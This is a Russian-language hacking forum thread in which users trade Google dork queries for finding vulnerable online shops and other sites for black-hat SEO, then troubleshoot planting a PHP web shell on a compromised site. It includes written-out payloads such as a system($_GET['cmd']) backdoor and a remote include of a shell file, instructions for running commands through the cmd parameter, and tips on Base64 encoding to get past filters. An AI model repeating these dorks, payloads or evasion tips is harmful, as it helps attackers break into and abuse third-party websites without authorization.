Google-запросы

[sergaj]

Допустим я ищу запрос:
allinurl:.php?id=10

Как-то можно отобрать сайты по тематике дописав рядом ключевик? Типа:
allinurl:.php?id=10 онлайн магазин

Если да, то как составить запрос? Я кавычки и одинарные, и двойные пихал, и плюсики но он похоже ключевик учитывает как продолжение оператора allinurl.

во-первых поменяй местами запрос.

 онлайн магазин allinurl:.php?id=10

во-вторых, используй лучше оператор inurl

онлайн магазин inurl:.php?id=10

вот варианты поиска согласно твоим условиям:
"жесткий" запрос с текстом на странице: "онлайн +магазин"

intext:онлайн +магазин inurl:"php?id=10"

"мягкий" запрос с текстом на странице: "онлайн +магазин"

intext:онлайн +магазин inurlhp?id=10

или так, ищем по типу файла.

intext:онлайн +магазин filetypehp inurl:id=10

онлайн +магазин filetypehp inurl:id=10

intext:онлайн +магазин filetypehp inurl:"id=10"

P.S. Все уважающие себя шопы, стоят на движках. И если ты ищешь шоп с сиквел-инжектом, то можешь вбить в гугл-запросе: название_движка exploit. Затем если под конкретеую версию существует сплойт, например, сиквел-инжект, то опять идем в гугл. и пишем название уязвимого скрипта: inurl:vulnerable_script.php
И гугл сам выдаст нам всю инфу, где еще остался шоп с данным уязвимым скриптом.

 

[aka_k4]

Блять серега я долго молчал но ты откравенно палиш темы, завязывай пока все канторы не спалил)))

 

[Vasders]

Сергай, большущее спасибо)
Если че - запрос "онлайн шоп" это пример, мне нужны не сайты на конкретном движке, а сайты конкретной тематики под черное сео. Потому интересует именно поиск по запросам.

Что бы не постить отдельно, спрошу тут:
Есть сайт с админкой, залить шелл не могу, но могу прям в текст постов постить пхп код.
<?php phpinfo();?> выполняется и выводится норм, а <?php system($_GET["cmd"]); ?> - ничего не происходит или <?php include("http://123/shell.php");?> тоже. Че делать?

 

[sergaj]

Блять серега я долго молчал но ты откравенно палиш темы, завязывай пока все канторы не спалил)))

Честно, даже школьник все это знает. Зайти на тот же СекуритиЛаб.Ру и посмотри свежие сплойты. Ну а потом Гугл. Никакого привата. Покажи, пожалуйста, где и что я палю.
И еще. Вон Сатана написал статью про жизнь. Ему так репу зацеловали, что даже мне завидно) А я пытаюсь научить народ, что сам умею и сам учусь. Но то что я изучаю врят ли тут кто-то поймет. Для меня скрипт-киддинг уже закончился)

---------- Сообщение добавлено в 20:16 ---------- Предыдущее сообщение размещено в 20:07 ----------

Сергай, большущее спасибо)
Если че - запрос "онлайн шоп" это пример, мне нужны не сайты на конкретном движке, а сайты конкретной тематики под черное сео. Потому интересует именно поиск по запросам.

Что бы не постить отдельно, спрошу тут:
Есть сайт с админкой, залить шелл не могу, но могу прям в текст постов постить пхп код.
<?php phpinfo();?> выполняется и выводится норм, а <?php system($_GET["cmd"]); ?> - ничего не происходит или <?php include("http://123/shell.php");?> тоже. Че делать?

Если такое: <?php system($_GET["cmd"]); ?>
и Винда, то потом пишешь в строке брацзера: www.site.com/script.php?cmd=dir
В смысле после равно пишешь вин команды консоли.
Для никсов ls -la или |ls -la|
Результатом будет вывод файлов текущей директории.

Если у тебя не самописный движок, то только погуглить. Например: название_движка shell, название_движка шелл, название_движка залить шелл, название_движка shell upload.
Может быть некоторые функции в пхп-интерпритаторе отключены (нужно смотреть пхп-инфо), или фильтр есть.
Попробуй закодить в Base64. может прокатит.

 

[Vasders]

Идет линк вида:
http://*****/?q=about
Я пишу так:
http://*****/?q=about&c=ls
Ничего не происходит.
Какие параметры нужны их пхп-инфо? Допустим url fopen - on, но инклуд шелла не работает.

 

[sergaj]

Идет линк вида:
http://*****/?q=about
Я пишу так:
http://*****/?q=about&c=ls
Ничего не происходит.
Какие параметры нужны их пхп-инфо? Допустим url fopen - on, но инклуд шелла не работает.

ты всунул пхпкод с переменно cmd, значит к ней и пиши команды.
http://*****/?q=about&cmd=ls -la или http://*****/?q=about&cmd=|ls -la| или вообще опустим переменную about, а просто http://*****/?cmd=ls -la

 

[DCWMWM]

我不能完全理解！
不过，兄弟你很棒！
通常你用什么代码和关键词搜索漏洞？

 

[Passion]

试想你要查找 !
Представьте что Вы хотите найти.